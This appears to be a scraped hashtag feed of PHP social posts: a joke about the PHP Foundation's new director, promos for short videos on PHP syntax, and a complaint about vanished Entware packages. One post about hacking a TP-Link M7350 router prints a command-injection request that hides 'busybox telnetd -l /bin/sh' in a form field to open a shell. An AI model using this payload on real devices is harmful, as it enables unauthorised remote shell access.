PHP #Foundation welcomes #Elizabeth #Barron, clearly hoping her executive powers will magically fix #spaghetti #code 🍝✨. Maybe she'll summon #PHP 7.5 to finally do its own dishes, but hey, at least they'll have someone else to blame now 🙈.
https://thephp.foundation/blog/2026/02/27/welcoming-elizabeth-barron-new-executive-director/ #PHP7.5 #softwaredevelopment #humor #HackerNews #ngated
Welcoming Elizabeth Barron as the New Executive Director of The PHP Foundation

The PHP Foundation — Supporting, Advancing, and Developing the PHP Language

Lambda vs Arrow Functions: Almost Identical!

Python lambda vs PHP 7.4 arrow functions - surprisingly similar! Same syntax, different keywords. Which looks better?

#python #php #pythonvsphp #lambda #arrowfunctions #anonymousfunctions #php7.4 #codecomparison #pythontricks #phptricks #programmingdebate #codingtips #functionalprogramming #closures

https://www.youtube.com/watch?v=BkL4U9u0tcE

Lambda vs Arrow Functions: Almost Identical! #functionalprogramming

YouTube

PHP Array Destructuring Hack

Wait for it! PHP array destructuring lets you swap variables in one line. See [$a, $b] = [$b, $a]. One line, huge impact!

#php #phptricks #codingtips #programmingtutorial #phparraydestructuring #listassignment #php7.1 #phpquiz #codingchallenge #phpshorts #phpmodern #variableassignment

https://www.youtube.com/watch?v=BCKs27NzXM4

PHP Array Destructuring Hack #codingtips

YouTube

Arrow Functions vs Arrow Functions: Syntax Comparison

PHP 7.4+ arrow functions vs JavaScript arrow functions. Which language's arrow function syntax is more powerful? Mind = blown!

#php #javascript #phpvsjavascript #arrowfunctions #anonymousfunctions #php7.4 #programmingcomparison #codecomparison #phptricks #javascripttricks #syntaxcomparison #viralcoding

https://www.youtube.com/watch?v=lXvcxkHJcBk

Arrow Functions vs Arrow Functions: Syntax Comparison #php74

YouTube

PHP Null Coalescing Operator Secret

Stop scrolling! PHP ?? operator has a hidden trick. Watch null ?? 'default' ?? 'fallback'. The result will surprise you!

#php #phptricks #codingtips #programmingtutorial #phpnullcoalescing #phpoperators #nullhandling #phpquiz #codingchallenge #phpshorts #php7

https://www.youtube.com/watch?v=AVWEeNrXnjs

PHP Null Coalescing Operator Secret #phpshorts

YouTube

Lambda vs Arrow Functions: One-Line POWER Battle!

Python lambda vs PHP arrow functions - which is MORE POWERFUL? This debate is HEATED!

#php #python #phpvspython #lambda #arrowfunctions #anonymousfunctions #oneliner #functionalprogramming #viralcoding #php7.4 #pythontricks #codingcomparison

https://www.youtube.com/watch?v=I5JLPre5g-0

Lambda vs Arrow Functions: One-Line POWER Battle! #Python

YouTube
How very.. #odd
After a slight #lighhttpd change
----------------
server.modules = (
/ # # Uncomment the CGI assignment line
/ # sed -i 's|^#cgi.assign.*|cgi.assign = ( ".pl" => "/usr/bin/perl", ".cgi" => "/usr/bin/perl" )|' /etc/lighttpd.conf
/ # grep -n "cgi.assign" /etc/lighttpd.conf
141: cgi.assign = ( "" => "" )
144: cgi.assign = ( "" => "" )
248:cgi.assign = ( ".pl" => "/usr/bin/perl", ".cgi" => "/usr/bin/perl" )
/
-------------

and rebooting the #m7350 now #telnet will not renable again with the script.

Whats even weirder.

qcmap_web_cgi throws a 404..
I'm eternally confused

We still get a token no problemo, but somehow telnet is now closed and stays ?
(Why would a router reboot or slight lighttpd change cause this ?)

Should've enabled #adb while I had the chance haha.

Not eternally sad as I was running into brickwalls left and right with #php7 8 and #python ..
And even #perl has issues Ohwell




C:\Users\User>python -c "import requests; r=requests.post('http://192.168.0.1/qcmap_web_cgi', json={'token':'WPL3qTwBJ8YSmbz1','module':'webServer','action':1,'language':'\$(busybox telnetd -l /bin/sh -p 23)'}, headers={'Cookie':'tpweb_token=WPL3qTwBJ8YSmbz1'}); print(r.status_code, r.text)"
<string>&#58;1&#58; SyntaxWarning&#58; invalid escape sequence '\$'
404 <?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http&#58;//www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http&#58;//www.w3.org/1999/xhtml" xml&#58;lang="en" lang="en">
<head>
<title>404 - Not Found</title>
</head>
<body>
<h1>404 - Not Found</h1>
</body>
</html>






#repost •acws #acws
Cookie monster!

So you are trying to tell me that noone bothered to archive these #entware files
1592
phodav_2.5-1_armv7-3.2.ipk 18-Apr-2021 13:23 28453
php7-cgi_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 1507945
php7-cli_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 1527762
php7-fastcgi_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 786
php7-fpm_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 1562752
php7-mod-bcmath_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 12214
php7-mod-calendar_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 10578
php7-mod-ctype_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 3104
php7-mod-curl_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 33116
php7-mod-dom_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 45322
php7-mod-exif_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 27343
php7-mod-fileinfo_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 401782
php7-mod-filter_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 15741
php7-mod-ftp_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 17577
php7-mod-gd_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 26089
php7-mod-gettext_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 4391

and now they are Gone ???

What is the #IT community even doing anyways ?
https://web.archive.org/web/20210613113743/https://bin.entware.net/armv7sf-k3.2/

Now I can't get a 2.2.7 GLIBC to be able to use #php 8


And I cannot get a #php7 which might just be compatible with my old one as there is no backup on da whole. wide. web

A
Ma
Zing.


 

#repost •acws #acws #m7350 #tplink

PHP Anonymous Class Trick

Wait for the reveal! PHP anonymous classes create objects on the fly. See new class {}. This will change your code style!

#php #phptricks #codingtips #programmingtutorial #phpanonymousclasses #php7 #objectcreation #phpquiz #codingchallenge #phpshorts #phpmodern #classes

https://www.youtube.com/watch?v=2TNZPgNrP2I

PHP Anonymous Class Trick #PHP

YouTube

PHP Array Unpacking ... Operator

Stop scrolling! PHP ... operator unpacks arrays in ways you never imagined. See [...[1,2], ...[3,4]]. Mind = blown!

#php #phptricks #codingtips #programmingtutorial #phpspreadoperator #arrayunpacking #php7.4 #phpquiz #codingchallenge #phpshorts #phpmodern #variadicfunctions

https://www.youtube.com/watch?v=hdrzOj1s-JE

PHP Array Unpacking ... Operator #php74

YouTube